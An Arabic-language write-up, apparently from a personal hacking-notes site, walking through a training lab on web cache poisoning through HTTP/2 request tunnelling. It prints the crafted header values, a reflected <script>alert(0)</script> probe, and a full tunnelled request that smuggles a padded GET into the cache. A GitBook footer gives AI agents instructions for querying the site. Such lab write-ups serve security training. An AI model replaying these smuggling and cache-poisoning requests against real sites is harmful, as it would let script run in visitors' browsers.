> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# تسميم ذاكرة الويب المؤقتة عبر نفق طلبات HTTP/2

### تسميم ذاكرة التخزين المؤقت للويب عبر نفق طلبات HTTP/2

هذا المختبر عرضة لتهريب الطلبات لأن الخادم الأمامي يخفض طلبات HTTP/2 إلى HTTP/1.1 ولا ينظّف بعض الرؤوس الواردة بشكل صحيح. / الهدف هو تسميم ذاكرة التخزين المؤقت بحيث عندما يزور الضحية الصفحة الرئيسية، يقوم متصفحه بتشغيل `alert(1)`. / يصل مستخدم ضحية إلى الصفحة تلقائيًا كل 15 ثانية.

لا يعيد الخادم الأمامي استخدام الاتصالات مع الخادم الخلفي. لذلك لا تعمل هجمات التهريب الكلاسيكية، لكن نفق الطلبات يظل قابلاً للاستخدام.

توجد آلية لتخزين مؤقت في الصفحة الرئيسية.

<figure><img src="/files/0b6544d58a9cb8a6c4564310f07cc5144c9fd208" alt=""><figcaption></figcaption></figure>

#### إجبار التخفيض إلى HTTP/1.1

في الرؤوس، يمكن فرض تفسير HTTP/1.1 من خلال إنشاء النوع التالي:

{% code title="القيمة" %}

```http
/post HTTP/1.1
اختبار:
```

{% endcode %}

على الرغم من أن هذا يولّد خطأ يشير إلى أن `اختبار` الرأس غير موجود، فإنه يوضح أن الطلب يُعاد تفسيره بواسطة الخادم الأمامي.

<figure><img src="/files/39c4a179b51584a8cee9f9877a2df45d2e1824e3" alt=""><figcaption></figcaption></figure>

#### الحقن في مورد ثابت

من خلال استهداف ملف JavaScript الخاص بالمختبر، نلاحظ أن إضافة معلمة شبيهة بالسكريبت تنعكس في الاستجابة

```http
/resources/labheader/js?<script>alert(0)</script>
```

لذلك فهذا المورد حساس لتسميم ذاكرة التخزين المؤقت.

<figure><img src="/files/95381033d5df77b56c22f65e270be6a47bce60ab" alt=""><figcaption></figcaption></figure>

#### بناء الطلب المُمرَّر عبر النفق

ثم أرسل طلبًا إضافيًا عن طريق تضمين استعلام HTTP/1.1 جديد داخل الجسم:

```http
/ HTTP/1.1
اختبار: اختبار

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

تُعاد تفسير هذه الحمولة بواسطة الخادم بعد المرور عبر النفق. / تتم إعادة كتابة المحتوى المحقون في استجابة مورد JavaScript، مما يتيح لك تسميم ذاكرة التخزين المؤقت.

عندما يعيد الضحية زيارة الصفحة الرئيسية، يقوم متصفحه بتحميل هذه النسخة المسمومة وتنفيذ `alert(1)`.

<figure><img src="/files/fefef020086f289a9f92ee55d479c72779796891" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
